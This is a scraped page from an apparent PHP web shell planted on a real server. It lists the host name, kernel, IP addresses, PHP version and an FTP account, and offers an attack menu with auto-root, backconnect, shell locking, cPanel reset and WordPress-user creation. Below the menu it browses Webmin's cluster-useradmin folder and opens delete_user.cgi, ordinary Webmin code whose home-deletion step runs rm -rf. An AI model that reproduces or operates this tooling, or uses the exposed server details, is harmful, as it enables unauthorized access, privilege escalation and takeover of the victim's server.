Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-useradmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
273
B
-rw-r--r--
add.cgi
2.09
KB
-rwxr-xr-x
cluster-useradmin-lib.pl
5.51
KB
-rwxr-xr-x
config
150
B
-rw-r--r--
config.info
566
B
-rw-r--r--
config.info.ca
655
B
-rw-r--r--
config.info.cs
79
B
-rw-r--r--
config.info.de
657
B
-rw-r--r--
config.info.es
78
B
-rw-r--r--
config.info.fr
758
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ms
131
B
-rw-r--r--
config.info.nl
129
B
-rw-r--r--
config.info.no
137
B
-rw-r--r--
config.info.pl
121
B
-rw-r--r--
create_group.cgi
3.32
KB
-rwxr-xr-x
create_user.cgi
9.72
KB
-rwxr-xr-x
delete_group.cgi
3.61
KB
-rwxr-xr-x
delete_host.cgi
257
B
-rwxr-xr-x
delete_user.cgi
5.22
KB
-rwxr-xr-x
edit_group.cgi
5.39
KB
-rwxr-xr-x
edit_host.cgi
1.96
KB
-rwxr-xr-x
edit_user.cgi
17.68
KB
-rwxr-xr-x
group_form.cgi
2.29
KB
-rwxr-xr-x
index.cgi
4.98
KB
-rwxr-xr-x
log_parser.pl
542
B
-rwxr-xr-x
module.info
387
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
259
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
392
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
489
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
487
B
-rw-r--r--
module.info.ca
265
B
-rw-r--r--
module.info.ca.auto
29
B
-rw-r--r--
module.info.cs
40
B
-rw-r--r--
module.info.cs.auto
247
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
249
B
-rw-r--r--
module.info.de
147
B
-rw-r--r--
module.info.de.auto
24
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
521
B
-rw-r--r--
module.info.es
36
B
-rw-r--r--
module.info.es.auto
228
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
275
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
406
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
291
B
-rw-r--r--
module.info.fr
44
B
-rw-r--r--
module.info.fr.auto
260
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
316
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
261
B
-rw-r--r--
module.info.hu
31
B
-rw-r--r--
module.info.hu.auto
285
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
253
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
361
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
310
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
298
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
274
B
-rw-r--r--
module.info.ms
247
B
-rw-r--r--
module.info.ms.auto
25
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
282
B
-rw-r--r--
module.info.nl
40
B
-rw-r--r--
module.info.nl.auto
242
B
-rw-r--r--
module.info.no
36
B
-rw-r--r--
module.info.no.auto
225
B
-rw-r--r--
module.info.pl
240
B
-rw-r--r--
module.info.pl.auto
29
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
282
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
291
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
301
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
477
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
305
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
266
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
265
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
597
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
291
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
456
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
468
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
287
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
244
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
253
B
-rw-r--r--
prefs.info
28
B
-rw-r--r--
refresh.cgi
2.31
KB
-rwxr-xr-x
save_group.cgi
4.65
KB
-rwxr-xr-x
save_user.cgi
12.76
KB
-rwxr-xr-x
search_group.cgi
1.69
KB
-rwxr-xr-x
search_user.cgi
1.73
KB
-rwxr-xr-x
sync.cgi
4.92
KB
-rwxr-xr-x
sync_form.cgi
1.75
KB
-rwxr-xr-x
user_form.cgi
5.66
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delete_user.cgi
#!/usr/bin/perl # delete_user.cgi # Delete a user, after asking for confirmation require './cluster-useradmin-lib.pl'; &foreign_require("useradmin", "user-lib.pl"); &ReadParse(); &error_setup($text{'udel_err'}); @hosts = &list_useradmin_hosts(); @servers = &list_servers(); foreach $h (@hosts) { local ($u) = grep { $_->{'user'} eq $in{'user'} } @{$h->{'users'}}; if ($u) { %user = %$u; last; } } %user || &error($text{'udel_ealready'}); # Setup error handler for down hosts sub del_error { $del_error_msg = join("", @_); } &remote_error_setup(\&del_error); $| = 1; &ui_print_header(undef, $text{'udel_title'}, ""); if ($in{'confirmed'}) { # Do the deletion on all hosts foreach $host (@hosts) { $del_error_msg = undef; ($serv) = grep { $_->{'id'} == $host->{'id'} } @servers; ($user) = grep { $_->{'user'} eq $in{'user'} } @{$host->{'users'}}; next if (!$user); print "<b>",&text('udel_on', $serv->{'desc'} ? $serv->{'desc'} : $serv->{'host'}),"</b><p>\n"; print "<ul>\n"; &remote_foreign_require($serv->{'host'}, "useradmin", "user-lib.pl"); if ($del_error_msg) { # Host is down .. print &text('udel_failed', $del_error_msg),"<p>\n"; print "</ul>\n"; next; } local @ulist = &remote_foreign_call($serv->{'host'}, "useradmin", "list_users"); ($user) = grep { $_->{'user'} eq $in{'user'} } @ulist; if (!$user) { # Already deleted? print "$text{'udel_gone'}<p>\n"; print "</ul>\n"; next; } # Run the before command &remote_eval($serv->{'host'}, "useradmin", <<EOF \$ENV{'USERADMIN_USER'} = '$user->{'user'}'; \$ENV{'USERADMIN_UID'} = '$user->{'uid'}'; \$ENV{'USERADMIN_REAL'} = '$user->{'real'}'; \$ENV{'USERADMIN_SHELL'} = '$user->{'shell'}'; \$ENV{'USERADMIN_HOME'} = '$user->{'home'}'; \$ENV{'USERADMIN_GID'} = '$user->{'gid'}'; \$ENV{'USERADMIN_ACTION'} = 'DELETE_USER'; EOF ); $merr = &remote_foreign_call($serv->{'host'}, "useradmin", "making_changes"); if (defined($merr)) { print &text('usave_emaking', "<tt>$merr</tt>"),"<p>\n"; print "</ul>\n"; next; } if ($in{'others'}) { # Delete from other modules print "$text{'udel_dothers'}<br>\n"; &remote_foreign_call($serv->{'host'}, "useradmin", "other_modules", "useradmin_delete_user", $user); print "$text{'udel_done'}<p>\n"; } # Delete the user print "$text{'udel_pass'}<br>\n"; &remote_foreign_call($serv->{'host'}, "useradmin", "delete_user", $user); print "$text{'udel_done'}<p>\n"; # Delete from any secondary groups print "$text{'udel_groups'}<br>\n"; local @glist = &remote_foreign_call($serv->{'host'}, "useradmin", "list_groups"); foreach $g (@glist) { local %oldg = %$g; local @mems = split(/,/, $g->{'members'}); $idx = &indexof($user->{'user'}, @mems); if ($idx >= 0) { splice(@mems, $idx, 1); $g->{'members'} = join(',', @mems); &remote_foreign_call($serv->{'host'}, "useradmin", "modify_group", \%oldg, $g); } } print "$text{'udel_done'}<p>\n"; # Delete home directory if ($in{'servs'} || $host eq $hosts[0]) { local $exists = &remote_eval($serv->{'host'}, "useradmin", "-d '$user{'home'}'"); if ($in{'delhome'} && $user{'home'} !~ /^\/+$/ && $exists) { print "$text{'udel_home'}<br>\n"; &remote_eval($serv->{'host'}, "useradmin", "system(\"rm -rf '$user{'home'}'\")"); print "$text{'udel_done'}<p>\n"; } } # Run the post-change command &remote_foreign_call($serv->{'host'}, "useradmin", "made_changes"); # Update in local list @ulist = grep { $_ ne $user } @ulist; $host->{'users'} = \@ulist; $host->{'groups'} = \@glist; &save_useradmin_host($host); print "</ul>\n"; } &webmin_log("delete", "user", $user->{'user'}, $user); &ui_print_footer("", $text{'index_return'}); } else { # Ask if the user is sure ($serv) = grep { $_->{'id'} == $host->{'id'} } @servers; &remote_foreign_require($serv->{'host'}, "useradmin", "user-lib.pl"); print "<form action=delete_user.cgi>\n"; print "<input type=hidden name=user value=\"$user{'user'}\">\n"; print "<input type=hidden name=confirmed value=1>\n"; $size = &remote_foreign_call($serv->{'host'}, "useradmin", "disk_usage_kb", $user{'home'}); print "<center>\n"; if ($user{'home'} ne "/" && $size) { print "<b>",&text('udel_sure', $user{'user'}, $user{'home'}, $size),"</b><p>\n"; print "<input type=submit value=\"$text{'udel_del1'}\">\n"; print "<input name=delhome type=submit ", "value=\"$text{'udel_del2'}\"><br>\n"; print "<b>$text{'udel_servs'}</b>\n"; print "<input type=radio name=servs value=1> ", "$text{'uedit_mall'}\n"; print "<input type=radio name=servs value=0 checked> ", "$text{'uedit_mthis'}<br>\n"; } else { print "<center><b>",&text('udel_sure2', $user{'user'}),"</b><p>\n"; print "<input type=submit value=\"$text{'udel_del1'}\">\n"; } if ($user{'user'} eq 'root') { print "<b><font color=#ff0000>$text{'udel_root'}", "</font></b></center>\n"; } print "<br><b>$text{'udel_others'}</b>\n"; print "<input type=radio name=others value=1 checked> $text{'yes'}\n"; print "<input type=radio name=others value=0> $text{'no'}\n"; print "</form></center>\n"; &ui_print_footer("", $text{'index_return'}); }
Close
